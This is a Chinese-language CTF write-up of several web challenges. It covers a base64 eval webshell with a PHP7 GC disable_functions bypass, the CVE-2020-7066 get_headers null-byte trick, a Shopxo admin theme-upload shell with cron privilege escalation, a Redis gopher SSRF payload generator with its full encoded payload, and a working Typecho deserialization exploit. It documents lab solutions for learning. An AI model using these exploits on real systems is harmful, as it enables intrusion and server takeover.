又留了两道node。。。。。留着做个综合吧。。。
CheckIN
打开靶机即得源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); }
public function x() { return $_REQUEST; } } new ClassName();
|
接受get或post形式传入的Ginkgo,并base64解码执行

解题
那么构造一句话,由于这里是eval执行,相当于自动加php标签,所以只要构造eval($_POST['a']); => ZXZhbCgkX1BPU1RbJ2EnXSk7
即可

用蚁剑连上,给了个readflag的脚本,php版本是7.3,考虑php7-gc-bypass

找个有上传权限的目录上传bypass脚本,红框内是执行的命令

tmp下上传

接着包含该文件即可bypass

把之前的命令改为执行readflag脚本即可

cve版签到
给了提示是cve-2020-7066,搜集下信息
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。
参考:https://bugs.php.net/bug.php?id=79329
即get_headers()函数在一个空字节后会被无提示地截断
解题
打开靶机提示点击view ctfhub,跳转后url如下

参考文章中示例构造http://127.0.0.1\0www.ctfhub.com

由于是url传入,改为%00替代空字节

提示了必须以123结尾,改一下即可

老八小超市儿
打开靶机是shopxo

百度下有没有已知的漏洞
找到一个后台getshell,参考文章:http://www.nctry.com/1660.html
解题
首先用默认账号密码登录后台,admin,shopxo

到应用商店下载默认主题

往压缩包里加入shell

找到主题安装位置上传加入shell之后的压缩包

访问/public/static/index/default/oneword.php即可getshell

用蚁剑连,根目录flag下提示在root

但root设置了权限不可读,注意到根目录下还有一个auto.sh,查看

每隔一分钟执行一次makeflaghint.py,看下这个脚本

获取当前时间并写入flag.hint,那么我们利用这个脚本的root权限读出root下的flag并写入到flag.hint即可

得到flag

EZ三剑客-EzWeb
打开靶机只有一个提交框

源码处发现注释

提交访问返回类似ifconfig的结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| eth0 Link encap:Ethernet HWaddr 02:42:ad:1f:54:0a inet addr:173.31.84.10 Bcast:173.31.84.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1 RX packets:34 errors:0 dropped:0 overruns:0 frame:0 TX packets:33 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:6058 (6.0 KB) TX bytes:5729 (5.7 KB)
lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
|
得到内网ip,访问看看
会回显首页内容

看看内网里还有没有其他页面,burp爆破一下

扫到以下主机存活

依次访问看看,其他没啥发现,访问11的时候提示扫它的端口

太容易429了。。直接看的wp跑了一下6300-6400,发现开放了6379

6379是redis的默认端口号
考点:Redis配合gopher协议进行SSRF
未授权访问Redis服务器
参考文章
直接拿的脚本,php代码执行命令结果写入shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import urllib protocol="gopher://" ip="173.31.84.11"#探测主机 port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
|
生成gopher://173.31.84.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
在输入框内输入提交,然而一直转。。。了好久,以为靶机问题中间还重启了下靶机,然后等不了手动停了,访问http://173.31.84.11/shell.php已经有了flag,嗯。。。神奇

EZ三剑客-EzTypecho
题目给了源码,打开靶机是Typecho博客的安装程序但不让安装

在给出源码的changelog.txt里我们可以看到源码版本

百度下发现老版本有个install.php处反序列化漏洞。
参考文章:https://blog.csdn.net/weixin_44005410/article/details/90385856
解题
直接拿了参考文章师傅的poc生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php $CMD = 'system("cat /flag")'; class Typecho_Feed { const RSS2 = 'RSS 2.0'; const ATOM1 = 'ATOM 1.0'; private $_type; private $_items; public function __construct() { $this->_type = $this::ATOM1; $this->_items[0] = array( 'category' => array(new Typecho_Request()), 'author' => new Typecho_Request(), ); } } class Typecho_Request { private $_params = array(); private $_filter = array(); public function __construct() { $this->_params['screenName'] = $GLOBALS[CMD]; $this->_filter[0] = 'assert'; } } $exp = array( 'adapter' => new Typecho_Feed(), 'prefix' => 'typecho_' ); echo base64_encode(serialize($exp)); ?>
|
然后按照文章中说的post传入payload即可,要注意一下保证referer是本站
